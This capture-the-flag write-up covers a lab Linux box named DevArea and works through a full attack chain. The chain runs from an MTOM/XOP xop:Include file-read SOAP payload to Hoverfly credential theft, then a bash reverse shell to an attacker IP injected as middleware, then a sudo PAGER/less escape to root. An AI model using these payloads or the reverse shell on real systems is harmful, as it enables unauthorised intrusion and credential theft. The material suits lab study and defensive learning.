DevArea

Summary of Exploitation

DevArea is a medium-difficulty Linux box built around a Java SOAP web service and an internal Hoverfly API-simulation server. The published JAR leaks the service internals, an MTOM/XOP file-disclosure primitive in the SOAP endpoint reads arbitrary local files, and the recovered Hoverfly admin credentials allow middleware injection for code execution. The chain proceeds as follows:

1. Anonymous FTP exposes employee-service.jar, the source of the public SOAP service.
2. JAR reverse engineering (JADX) reveals the employeeservice SOAP endpoint and confirms it processes MTOM/XOP attachments.
3. MTOM xop:Include file disclosure reads the Hoverfly systemd unit, leaking the hoverfly_admin password.
4. Hoverfly admin API abuse — authenticating to the admin API yields a JWT; injecting a malicious middleware binary executes a reverse shell as dev_ryan (user).
5. Sudo / pager misconfiguration — dev_ryan may run /opt/syswatch/syswatch.sh as root, which pipes through less; a GTFOBins pager escape (or a PAGER override) returns a root shell.

---

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -sV -sC -p- -oA nmap/devarea --min-rate 1000 devarea.htb

Results (abridged):

Port	State	Service	Version / Note
21	open	ftp	Anonymous login allowed (pub/)
22	open	ssh	OpenSSH
8080	open	http	Java SOAP service — employeeservice endpoint
8888	open	http	Hoverfly admin API

Key takeaways from recon:

• The domain devarea.htb was added to /etc/hosts:

echo "<target-ip>  devarea.htb" | sudo tee -a /etc/hosts

• Anonymous FTP is open and serves a downloadable artifact in pub/.
• Two HTTP services stand out: a SOAP application on 8080 and a Hoverfly control plane on 8888.

---

FTP & JAR Analysis

The anonymous FTP pub/ directory contained the deployed service JAR:

ftp devarea.htb
# anonymous / (blank)
cd pub/
get employee-service.jar

Decompiling employee-service.jar with JADX surfaced the SOAP submitReport operation under http://devarea.htb/ and confirmed that report content is parsed as MTOM/XOP — meaning an <xop:Include href="..."> element is dereferenced server-side. A file:// href therefore turns the SOAP service into an arbitrary local file reader.

---

Exploitation Phase

Step 1 — MTOM/XOP file disclosure → Hoverfly credentials

A SOAP request was crafted whose report content references a local file via xop:Include. Targeting the Hoverfly systemd unit returns its ExecStart line, which embeds the admin password:

<!-- payload.xml -->
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
               xmlns:dev="http://devarea.htb/"
               xmlns:xop="http://www.w3.org/2004/08/xop/include">
  <soap:Body>
    <dev:submitReport>
      <content>
        <xop:Include href="file:///etc/systemd/system/hoverfly.service"/>
      </content>
    </dev:submitReport>
  </soap:Body>
</soap:Envelope>

curl -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: application/soap+xml" \
  -d @payload.xml

The disclosed unit revealed the Hoverfly admin credentials:

ExecStart=/usr/bin/hoverfly -auth -username=hoverfly_admin -password=[REDACTED]

Step 2 — Hoverfly admin API → middleware injection → shell as dev_ryan

Hoverfly’s admin API (port 8888) issues a JWT bearer token in exchange for the recovered credentials:

curl -s http://devarea.htb:8888/api/token-login \
  -H "Content-Type: application/json" \
  -d '{"Username":"hoverfly_admin","Password":"[REDACTED]"}'
# -> {"token":"<JWT_TOKEN>"}

Hoverfly’s middleware feature runs an external binary/script for every simulated request. Setting the middleware to bash with a reverse-shell script executes it server-side:

# listener
rlwrap nc -lvnp 4444

curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "binary": "bash",
    "script": "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"
  }'

A shell landed as dev_ryan:

whoami   # dev_ryan

User flag:

cat /home/dev_ryan/user.txt

Step 3 — Sudo pager escape → root

sudo -l showed dev_ryan may run a root-owned watcher script, with PAGER preserved in the environment:

sudo -l

Matching Defaults entries for dev_ryan on devarea:
    env_keep+=PAGER
User dev_ryan may run the following commands on devarea:
    (root) /opt/syswatch/syswatch.sh

syswatch.sh pages its output through less, which is a classic GTFOBins shell escape. Either drop to a shell from inside the pager:

sudo /opt/syswatch/syswatch.sh
# at the less prompt, type:
!/bin/sh

…or, more reliably, abuse the preserved PAGER variable directly:

sudo PAGER="/bin/sh -c '/bin/bash -p'" /opt/syswatch/syswatch.sh

Root Flag Successfully Obtained

# whoami
root
# cat /root/root.txt
<root_flag>

---

Key Takeaways

• Published artifacts are a blueprint. The FTP-hosted employee-service.jar revealed the SOAP endpoint and its MTOM handling — without it the file-disclosure primitive is far harder to find.
• MTOM/XOP is an XXE-class file read. Any SOAP service that dereferences xop:Include href="file://..." can be coerced into reading arbitrary local files; here it leaked a service password from a systemd unit.
• Service control planes are code execution. Hoverfly’s middleware feature is “run this binary per request” by design — admin access to that API is equivalent to RCE.
• env_keep + a pager = root. Preserving PAGER across sudo, combined with a script that calls less, is a textbook GTFOBins escape.

---

Full Attack Chain

anonymous FTP  ──>  employee-service.jar  ──>  JADX reveals SOAP/MTOM endpoint
   └─ MTOM xop:Include file read  ──>  hoverfly.service  ──>  hoverfly_admin password
        └─ Hoverfly API login (JWT)  ──>  middleware injection  ──>  shell as dev_ryan   [USER]
             └─ sudo syswatch.sh  ──>  less / PAGER escape  ──>  root   [ROOT]